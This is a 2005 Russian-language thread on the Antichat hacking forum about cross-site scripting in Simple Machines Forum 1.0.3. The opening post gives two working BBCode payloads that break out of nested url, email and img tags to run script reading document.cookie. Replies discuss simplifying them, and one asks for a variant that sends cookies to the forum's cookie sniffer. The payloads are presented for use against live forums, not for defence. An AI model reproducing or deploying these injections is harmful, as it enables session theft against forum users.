HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу XSS в Simple Machines Forum (SMF) 1.0.3 (и другие)
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

XSS в Simple Machines Forum (SMF) 1.0.3 (и другие)
  #1  
Старый 02.04.2005, 19:58
KEZ
Guest
Сообщений: n/a
С нами:

Репутация:
Lightbulb XSS в Simple Machines Forum (SMF) 1.0.3 (и другие)
Через 2 минуты я уже выделил две самых простых XSS. Их хватит. Если нет - берите ещё. Я сделаю видео.

Код:
[urл=http://a[еmail=s=`]a[/еmail]]a[/urл]`xss=`alert(document.cookie);this.xss=null` 
style=top:expression(eval(this.xss));

[iмg]http://[urл=http://s=`]aaaaa[/urл][/iмg]`xss=`alert(document.cookie);this.xss=null` 
style=top:expression(eval(this.xss));
ВНИМАНИЕ! Чтобы НАШ ФОРУМ не парсил (не зависимо от тега [СODE]) мой код, я НАМЕРЕННО написал URL через Л. И емейл тоже так написал.
ПЕРЕПИШИТЕ САМИ!
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 02.04.2005, 23:36
JazzzSummerMan
Постоянный
Регистрация: 07.04.2004
Сообщений: 387
С нами: 11627066

Репутация: 42
По умолчанию
наверное все можно сделать проще
 
Ответить с цитированием

  #3  
Старый 03.04.2005, 16:32
KEZ
Guest
Сообщений: n/a
С нами:

Репутация:
По умолчанию
это самое просто... просто тег+тег и s=`
 
Ответить с цитированием

  #4  
Старый 03.04.2005, 16:40
KEZ
Guest
Сообщений: n/a
С нами:

Репутация:
По умолчанию
конечно с `xss=... а потом eval(this.xss) и все такое - это я так привык.
можно и проще
 
Ответить с цитированием

  #5  
Старый 04.06.2005, 20:12
c20r58p0de
Новичок
Регистрация: 16.05.2005
Сообщений: 2
С нами: 11045008

Репутация: 0
По умолчанию
А не мог бы написать пример используя античатовский сниффер http://antichat.ru/cgi-bin/s.jpg
 
Ответить с цитированием

  #6  
Старый 04.06.2005, 20:24
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
С нами: 11042306

Репутация: 2726


По умолчанию
Мог бы, но сейчас я вижу что куки там украсть нельзя... Если получится сделаю видео...
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.